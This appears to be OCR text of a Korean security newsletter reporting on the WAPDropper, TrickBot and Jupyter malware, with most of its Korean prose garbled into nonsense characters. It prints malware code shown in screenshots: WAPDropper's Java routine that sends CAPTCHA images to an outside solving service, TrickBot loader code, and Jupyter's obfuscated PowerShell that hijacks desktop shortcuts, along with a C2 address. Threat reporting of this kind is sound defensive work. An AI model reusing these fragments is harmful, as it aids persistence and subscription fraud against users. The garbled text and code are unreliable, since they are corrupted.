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Through a ® Tor Browser - recommended

Download Tor Browser -
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= Follow the instructions on this page
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over VPN
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LT T} OfsHAe] 717(01 EX[=H, Ol= F= CIOIPHE 27| 2l BE I M| MH(C2)0| HESH,. AHLHE2
0] 2EF VO HEE Helet A 717[2 MF HEE Eioks A= SZ0| ARF=ICIT BiRICt,
- C|HO|A ID
-Mac =A
- 71XHD
- C|HO|A 2
- MxEl REHZEE
- Al SO MHIA S5
- 24P 2E IH7 [X| E
- AR 7R R
- Sl QHo| QIO | EFAMSIEIR=X| Of=

- olid AO| THE & {0l 12|77t 7k s 2HA

)-I
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oo

04 224 Hot 5

- AIE 7Hset R B2 8
-5 RAM 8% U AIS 7K53H RAM 8

o

- AIAE) 210] Ofcl Qo] 22

-

03 Q& AHIAC| 2HE HOXPH 2EEIT, 7IIS S| 1ot webview AT} APIEICL AJ2I0]| 1 TS

AIZot7| M0 SfH A2 2O|X| gh=C

Ip[Jcooktracking[.Jcom
CHECK POINT RESEARCH

Sl

\/’

— T —

L[.lfacebook1mobl[.]Jcom

Telecom. offers - =X
Super Eagle

[0 |0 X| =] htps:/research.checkpoint. com/2020/enter-wapdropper-sulbscribe-users-to{oremium-services-by-telecom-companies/

7121 Al O|0IX]| 7[5t CAPTCHA IS Z0{0F &t Z, WAPDropper &= S SIA}2| “Super Eagle” MHIAS
'a*sﬂtr Ol D1 21 712 A2 Olofx| %' £ HOICE WAPDIoRper = 717 SO CAPTOHA

T AN
= x>==

Super Eagle S= §IM°I A1H1§ F&SH= Z{o|Ct
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https://research.checkpoint.com/2020/enter-wapdropper-subscribe-users-to-premium-services-by-telecom-companies/

public String getCodefromPic(String codetype, String file_base6d) (
StringBuilder stringBuilder® = new Stringduilder();
ONObject anm)b]eno = new ] ()

gogent

T8e2bt5daabdec Jd8cd2c131a");
jSONOb]acto.put( ' B976861");
JSONObjectd. put(“codetype™, codetype):
]SON()D]@((B put(“file basebd”, file basebd):
httpURL(nnno:l:onO = (HttpURL wetion)mew URL("http:r//upload.cheojiying.net/Upload/Processing. php™) .openConnection()

h(tplﬂlconner.uone setRequestMethod ("POST");
httplRLConnectiond. setDolnput(true);
httpURLConnectiond. setDodutput {true)
httpURLConnectiond. setUseCaches|{false)
hnp{l\t(unmcnon& getOutputStrean().write{jSONObject®, toString().getBytes());
Input inputStrean® ~ httpURLConnection@.getInputStrean();
byte[) array_b = new byte[0x1666);
while(true) {

int 1 = inputStreamd. read(array_b):

if(i <= 0) {

break;
}

stringBuilder® append{new “tiinglarray b), 8, 1);

if(stringBuilder®. length{) > 8) {

1SONOb3ect JSONObject] = new Nobject{stringBuilder®. toString());
i1{jSONObjectl.getInt{“crr _no") == B) {
return JSONObjectl.getString( plic str™);
}
}
return
}
catch(JS0NFxception JSONException®) {
return
)
catch{i0Excopt ton i0Exceoption8) {
return Y
}
[224] WAPDropper 2| CAPTCHA Q14!

[0 O] X| =] htps:/research.checkpoint. com/2020/enter-wapdropper-sulbsaribe-users-to{oremium-services-by-telecom-companies/

Solf HiZZEILt. HISA] OEIS ARSI 4= 32 0l

HJ|HJ

ALES0]| =™, WAPDropper = H|SA! QIEZ0|E AR

OPYTC| LS QS FU 4 UL

100)0f| SHESM}). Anchor C2 419 SRRl 20| Alsich= H0|ZES AHE Zdt Trickbot 2HAR| S20]
Il At XEXR1 40| 71S0ICh= AS & 4= UML) 0152 BISAZ SHS 2FYAI7 01 3ol JCh

[ S |

J

[EX] https:/ /mwwibleepingcomputer.com/news/security/ new-wapdropper-malware-stealthity-subscribes-you-to-premium-services/
https:/ /research.checkpoint.com/2020/enter-wapdropper-subscribe-users—to-premium-services-by-telecom-companies/
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==Y Hot ST

TrickBot, 22 715 7Fet 100 X HH S7H

TrickBot turns 100: Latest malware released with new features

TrickBot 2P EIXIZ 3|Lfoh= 7SS $7K6t AHTE0] 100 HMY TS Z7HACE TrickBot 2 EE 24 A
OlHIKO|Lt THE AETF=S Sofl 2XIEC. AXI=[H DcHRIe| HREOIN 20| MM, THE XS £
BES CRECRI

0] BES EORlo] BN CiEER| AHIA CIO[EMOIAS SX[T, WIEATON 53 2 AT2) &3, 77|
E2I2K| IHAQIS, OpenSSH 712 SXi= S CIJ3t Op BSS 4BICL, T3t TrickBot 2 Ryuk 1 Conti 2#52/0f
THRISOI HHAS HZ3 3 BHS ARSK= HOZ VAN ULk

TrickBot HF 100 0f| 712 M=2 71

K|t & DO|I2RATER}F MEAN|AM Z2SOZ TrickBot QTS ZZist $ E415k= O ARIO| CtA AQE
QO Of&434CE. SHXIZE TrickBot 2 045 | &S AL 2T =2 100 Hl WEE SIHIHCE Advanced Intel 2]
Vitali Kremez 7+ ZZiet 0 24 RE= HAIE OIS OEH HEs MER V1SS F7Iet 222 LIEKWC. TrickBot 2
MZL HFS MemoryModule' Z2HEQ| FEE A0 HIZ2|0IA HA Y= wermgrexe ASHIIRIN| =X
DLL S FISlCt,

| -

ofles Z=MEO| GitHub H|O|X[0{jAt= 022t ZO0] 2700k UL

N\emowN\odule = L2330 HA MEokX| 2411 HIH2|0flM DLL S 2HI5| 2=ok=0| Af8sh= 2l0[E2{2|T}”

short loc_10061E63

if (sectionData->size == ) {

eturn TRUE;
loc_10001DFC: ; CODE XREF: sub_10001D10+E1T }
o ar_10],
c_10001E03: ; CODE XREF b_100801D10+EATj if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
ection is eeded any more and can safely be freed
if (sccnonDa(a >address == sectionData- augnchdd ess &

(sectionData->last ||
module->headers->0ptionalHeader.SectionAlignment == module->pageSize ||
(sectionData->size % module->pageSize) == @)
) {
// Only allowed to decommit whole pages
module->free(sectionData->address, sectionData->size, MEM_DECOMMIT, module->userdata

ickBot Loader | ‘Memory y
return TRUE;
' Copy/Past gsort | i

// determine protection flags based on characteristics
executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) !'= 0;
writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;
protect = ProtectionFlags[executable] [readable] [writeable];
if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {

protect |= PAGE_NOCACHE;
)

loc_10001E3C:

ange memo access flags
10601E6C f (VAPEUaIPFGtect (sectionData->address, sectionData->size, protect, &oldProtect) == @) {
FrOFPFOEEEEIN ; “Ervor protecting memory page" OutputlastError(“Error protecting memory page");
oturn FALSE;
}
turn TRUE;
c_10001E6C: } .

[22]] TrickBot 2| "MemoryModule'’ 2=
[0]0]X| &A1 htips:/ /twitter.com/VK_Intel/status/1328578336021483522/photo/1
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04 =28 Hot F&

TrickBot 2 wermgr.exe Ofl XA S FRISH = TrickBot AAIIAUC| MRS ZSESIHCL

# | wermgr.exe (2136) Properties ‘ =l
(Memory I Environment I Handles l Job ] Disk and Network | Comment
General | Statistics | Performance I Threads | Token Modules
File

Windows Problem Reporting
Lu (Verified) Microsoft Windows
Version: 6.1.7600.16385

Image File

C:\Windows\System32\wermgr.exe
Process
Command C:\Windows\system32\wermgr.exe
(o1 -1 do]T¢=Tn 1o ' ser s\ User\ AppData\Roaming\Identities9973937155)
Started: 10 minutes and 14 seconds ago (4:48:02 PM 11/20/202i

PEB Address:  0x7fffffd8000
Parent: Non-existent process (3820)

DEP: Enabled, Permanent

Protection: None

Process Type: 64-bit Permissions] [ Terminate ]

[22!] Wermgr.exe Of] Z=2I=! TrickBot
[0]0]X] & https:/ /mww.bleepingcomputer.com/news/security/ trickbot-tums—100-latest-malware—teleased-with-new-features/

Kremez Of| 2, DLL 2 Fet If Z2M|A =2242(Doppel Hollowing)2 Sslf H2F AT EQ|0{2] BXIZE L5t
A=t

HOt AT Francesco Muronie = Of2{{2} ZH0| ATHgHL}

0 72 T NARIOI U] ZIiS SIH| TE8Het 4 QTR SH= NTFS ©| 71591 EWMINS AG3ITE Biof
ol X 55 SILIRIE AIfE 22 5| SUEC, QM| T2AAL M2 EWHUNS 4 Jgérﬂ, 1 Lol op
HOIZCE H3lGhs M22 NS MASICL 0% ThY TRAA LA DS OHLGI0 ERMS SUSIC)

Ofz{gh YH= M| I-HROI OZ=MIA H|=e] 2ol ACEHE TFU0| EXHSIK| i JXE 2 == ATt
0|2} Z0], TrickBot 2 X2t SHA 2= Woll SZ0= S+1oti! 0iTs| 2F SO|H EIE Dok | ?let M==2
/ls& Ao =71t R Et TrickBot ZE2 2 AlRE A2Z HIYEH, KIS 2lel O|HIY HFMAS 23t Of

£35| Z0l5k= 70| ZLt,

[EX]] https:/ /www.bleepingcomputer.com/news/security/trickbot-tums—100-latest-malware—released-with-new-features/
https://twitter.com/VK_Intel/status/1328578336021483522
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HetR X HlOIHE Ex11, 0SS 2Esk= MZ2 Jupyter 243 E LA

New Jupyter malware steals browser data, opens backdoor

SAOIIE A= SliF7H ME2 AETES ASoH ABALS| EE M2 ACE LIEKRT. Jupyter 2f SEE
O] M=2 42 332 LHEIX| pIUCH HE 377 IR ERITE Jupyter 2| X2 Tfeh ATER0{9]
HIO[HE +=Eot= A0|H. HES X[Hoks AHT=E Sofl ZFE AMAE0| HE0E Ydok= A 7SI

AAED, 671 SOt ©X| SlmisH

O oFgFE HE2 K|t 10 & O[=2] g sl ALl tS & BATIACE SHX|ZH ZHIA] HO[E0| M=H 0™
B2 K| 5 HRE] BR[O 2 A= LERHTE A 22F 2AKRI Morphisec 2| BES2 0] 54 7|EQ)
WXt O Edio] &S0k UCH, AR HEHEE o Hofl 9 2| 0[Y0[L} YH[0|ESIC = AS TAJUC 7Y
A HE2 11 2 = IR HE A2 Eelolil UK ERUCE TE=S XEHO= 8 F? Jupyter =

M
BXIE Tlotdl SHAE AAHA HS B2 HO[EE 8 = A =L

Jupyter = NET 7|20 3 =20|8, D&t TO|HEA 1= = @ E2tA0IM 7|, F2|HIE, QI5M, XS 2+
HE SO| HI0|EIE EXICt AEZ SR HA ATDEQMZE &S QIAEZ|(Inno Setup AHMAE 7IP LS
HENE CHREESH= A2 A[RFEICE Morphisec Of] (2™, 0]2{st QIAER T U= VirusTotal 271 SSHZ0HIA
K|t 6712 St Mo BX|=|X] 4UCH.

o () No engines detected this file : ; o

114.10 MB 2020-11-11 01:05:56 UTC o =
d2aaé7a5dceba27dd56222210efd6388ceeb06be?f53099282d111a18298a39¢ . ar ent 2 EXE =
checks-user-input direct-cpu-clock-access long-sleeps overlay peexe runtime-modules signed
X v
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY °
Antivirus results on 2020-11-11T01:05:56 ~
Detections Evolution Previous Analyses Dateorder ~
[ Detections 2020-11-05T04:33:13 0169

1

2020-11-11T01:05:56 0169

2020-11-05 2020-11-11

[2Z] Morphisec
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0] 2AEZ = D=MA olEE 7IES Solfl 3 A Mo MH <2 E’“Ef IZIE SIS Sh= NET 2CIE Z2MA
HI=2|0f AMUMCE 0F S20IUE= M2 LH Jupyter NET BES A3lSk= Ck2 Hl PowerShell AHEES
LR2ZColtt 7HEX= Ol HHQl QASCOM= D] LHOA AA=7] 2l D=MA Sk=E0| O
PowerShell BEO= TS HIPICL 01243 ZE 7ISS(Q2 S20|2E, ofHFE U222 =/4A PowerShell
ASBE, Y, Z2NA 52T 7|%) Soll EE U0 7SS AR 4= QU L.

Morphisec 2 =7| QIAE7} Of2f O|F S AtEoh= O0|F2ATE Q= FA= It SiRICt.
—The-Electoral-Process—Worksheet—Key.exe
—-Mathematical-Concepts—Precalculus-With—Applications-Solutions.exe
—Excel-Pay-Increase-Spreadsheet-Turotial-Bennett.exe
-Sample—Letter-For-Emergency-Travel-Document

g&el O)7121 &E HIAE &3

0| 2IAZZ= Docx2Rtf, Magix Photo Manager 2 22 &0 £ AREoI0] Bi12H2E0] PowerShell A9 ZEE
2 JHE EESICh 7| lAE2| Z|A T2 FE HAEN AEl= PoshC2 ZHUYTE AKZaH HIZ717| LNK
IIUS Mol AIRF SC0H HHX[SHO] ZREOf TSt XSM S AU

fadb6Tonchad8 b0 Lc9779153819m" 8" 4ADpDATa’ \MICROSOFL\ ' +469623640064010ACST6Ta0AICASH  \ ' +4aeTcB500d1040687£755 162562054 .cnd™

$a0e0£d7a4004e1a004c55595be01b=Get-chilDiTem -patd "Selv:U FiLe\deSKTop\" -FilteR ' k' |WhEre-Object { §_.AtTRibUTes -Ne "dIrECtoRy"}|SeLect -EXpandprOpERty
FuLLNAME ;
$agb56cdebeedea89dd19£0£4£699£=CEL-CHIIDILEM ~pATH "SenV:USeRprOfilE\..\public\DEskTOp\" -£ILTEr '*.1NK'|whEre-OBJeCt { §_.ATTriButES -nE "DIrECTorY"}|sELECt -

eXpanDpROPErTY FuL1NAME;
$a0e0£fd7a4004e1a004c55595be01b=5a0e0£fd7a4004e1a004c55595be01b+$adb56cdebeedeaddqd19f0£4£6995
F ($a7d2efddb0e431b9£546: 1d In $a0e0fd7a4004e1a004c55595be01b) {
TRY{
$a7d2efddb0e431b9£54620b2a8eld=$ 256d7c0440962b 7fc.CreatEsHorTCut ($a7d2efddb0e431b9£54620b 1d) ;
$aBe3a32el1494ccab92b: f=$a7d2efddb0e431b9£546 1d.targEtpaTh;
$a57b604£9674019b99d504284cd0c=$a8e3a32e1494ccab92becbb9886£E;
IF (($aBe3a32el494ccab92becbb9886£f -1TIke '*cmD.c¥e’’) -0Or (-not ($aBe3a32el494ccab92becbb9886££f -like '*\*.*')) =-OR (-NoT (Test-PAth
$aBe3a32el494ccab92becbb9886£f)) -Or ($a7d2efddble431b9£54620b2a8eld.aRguMents.1EnGth -gt 1)) {
$a7d2efddb0e431b9£54620b2aBeld. SAVE ()
}E1SE{
$a7d2efddb0e431b9£54620b2as8eld. TaRGe L PATH=" H
$a7d2efddb0e431b9£54620b2aBeld. arGUMENTS=' fsTart ™" "'4+§aBe3a32el494ccab92becbb9886££+' " (i '+$adbB67cecbad84b0££c9779153819;
$a7d2efddb0e431b9£54620b2aBeld. windowstyle=";
$a7d2efddb0e431b9£54620b2a8eld. icONLOCATiON=$a57b604£9674019b99d504284cd0c;
$a7d2ef 431b9£54 1d.save() ;
}
JFiNALLY({}

}

[0]0JX| £x{ Morphisec
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ciAlofte] HaEd

STHS2 B2 2Jupyter AH7H HAOI0]] PIX[otal QT BIRACE. 0] & B2 A7} 24X Higkd=tzl SEHCt ot
STES2 LEPE EetE Jupyter2ts OIF0| SAOIMIM BHekE i ZARMCE Lot Jupyter 2| Zi2|K} THEO|
Cifoll & O|0JX| ZAS 2lligh Z1f, 2{A[0t] ZH0| et ZikE = 4= UL

—
= —

& Whoareu x +

& (& A Not secure | 45.146.165.222/j/login?next=%2F)%2f b+ g e

[0]0]X] &X{] Morphisec

Morphisec 2 0] QEAEHT} XEHO= JHHE= Olg= HXIEX| RS M| 26t ME22 Q45 F7i6H|

T2l HOR BOICHT YR 3t THUKISS B2 B Huo| oIS B3 4 Qlr,

T A

[EX]] https:/ /www.bleepingcomputer.com/news/security/ new-jupyter-malware-steals-browser-data—opens—backdoor/
https:/ /mww.morphisec.com/hubfs/eBooks_and_Whitepapers/Jupyter%20infostealer”%20WEB pdf
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